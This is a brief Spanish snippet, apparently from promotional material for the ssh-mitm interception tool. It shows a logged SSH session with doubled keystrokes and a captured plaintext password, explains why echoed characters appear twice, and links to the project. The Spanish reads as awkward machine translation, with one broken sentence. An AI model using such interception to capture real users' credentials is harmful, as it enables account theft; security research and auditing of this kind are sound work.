jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

Nota que los personajes de los comando del usuario aparecen dos veces en el archivo debido a que la entrada del usuario se registra , así como la salida de la shell (que se hace eco de caracteres espalda). Observe que cuando programas como sudo ssh y desactivar temporalmente haciendo eco con el fin de leer una contraseña, los caracteres duplicados no se registran.

Para mayor información y descarga consulten: https://github.com/jtesta/ssh-mitm